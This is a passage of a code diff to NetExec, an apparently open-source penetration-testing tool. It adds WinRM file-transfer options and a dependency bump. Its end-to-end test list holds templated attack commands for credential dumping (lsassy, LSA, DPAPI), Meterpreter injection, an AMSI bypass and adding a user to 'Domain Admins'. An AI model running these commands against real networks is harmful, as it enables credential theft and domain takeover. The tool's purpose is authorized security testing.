UniqueConstraint("ip"), ) class User(Base): @@ -122,7 +123,7 @@ class database(BaseDB): # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) update_columns = {col.name: col for col in q.excluded if col.name not in "id"} - q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns) + q = q.on_conflict_do_update(index_elements=["ip"], set_=update_columns) self.db_execute(q, hosts) def add_credential(self, credtype, domain, username, password, pillaged_from=None): diff --git a/nxc/protocols/winrm/proto_args.py b/nxc/protocols/winrm/proto_args.py index 27c230d5..d8a342b7 100644 --- a/nxc/protocols/winrm/proto_args.py +++ b/nxc/protocols/winrm/proto_args.py @@ -19,8 +19,15 @@ def proto_args(parser, parents): cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") cgroup.add_argument("--dpapi", action="store_true", help="dump user's Credential Manager secrets from target systems") + mapping_enum_group = winrm_parser.add_argument_group("Mapping/Enumeration") + mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')") + + files_group = winrm_parser.add_argument_group("File Operations") + files_group.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt") + files_group.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt") + cgroup = winrm_parser.add_argument_group("Command Execution") - cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec") + cgroup.add_argument("--codec", default="437", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command") cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command") diff --git a/poetry.lock b/poetry.lock index 1333c091..601a9b3b 100644 --- a/poetry.lock +++ b/poetry.lock @@ -493,14 +493,14 @@ files = [ [[package]] name = "certihound" -version = "0.1.1" +version = "0.2.0" description = "Linux-native AD CS collector library for BloodHound CE - enumerate ADCS and export to BloodHound format" optional = false python-versions = ">=3.10" groups = ["main"] files = [ - {file = "certihound-0.1.1-py3-none-any.whl", hash = "sha256:9e22eb8d465b4ac2ffb9c2f2db1d3998ab44b5acfcf9f8e7b65136acb1855112"}, - {file = "certihound-0.1.1.tar.gz", hash = "sha256:9c4006dd682e927bd7f1e0e1e4f2fae0a00c9ef10f971344f5a3d9d96f1289d7"}, + {file = "certihound-0.2.0-py3-none-any.whl", hash = "sha256:771dc745a9e66c5f03b6c6a2c3574355b4c1a0a959c391ad57233599be2dfcf3"}, + {file = "certihound-0.2.0.tar.gz", hash = "sha256:fc8b3c357a91f8845bac34d91e7a8d644aa4d61db09d880249bb5e544a0a100a"}, ] [package.dependencies] diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index f9318889..99ff30c4 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -8,6 +8,7 @@ netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --no-smbv1 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --filter-shares READ WRITE +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --file-write-check netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --pass-pol netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --disks netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups @@ -66,7 +67,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode --exec-method smbexec netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode --exec-method mmcexec netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --clear-obfscripts # current we don't really use? -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi "select Name from win32_computersystem" +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-query "select Name from win32_computersystem" netexec --jitter 2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec --jitter 1-3 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec --jitter 2-2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS @@ -114,6 +115,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lsassy #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA" netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4443 RAND=12345 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M modify-group -o USER=USERNAME GROUP="Domain Admins" +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M modify-group -o USER=USERNAME GROUP="Domain Admins" REMOVE=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ms17-010 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M msol @@ -148,6 +151,9 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-query -o PATH=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion KEY=DevicePath netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M safe_shares +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M safe_shares -o FILTER=WRITE +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M safe_shares -o EXCLUDE=IPC$,ADMIN$ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o NAME=test CLEANUP=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o SERVER=127.0.0.1 NAME=test @@ -229,6 +235,8 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-net netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership -o USER=LOGIN_USERNAME netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M maq +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M modify-group -o USER=USERNAME GROUP="Domain Admins" +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M modify-group -o USER=USERNAME GROUP="Domain Admins" REMOVE=True netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pre2k netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pre2k -o ALL=true netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M subnets @@ -328,3 +336,4 @@ netexec nfs TARGET_HOST -u "" -p "" --shares netexec nfs TARGET_HOST -u "" -p "" --enum-shares netexec nfs TARGET_HOST -u "" -p "" --get-file /NFStest/test/test.txt ../test.txt netexec nfs TARGET_HOST -u "" -p "" --put-file ../test.txt /NFStest/test +netexec nfs TARGET_HOST -u "" -p "" --chmod 666 /NFStest/test/test.txt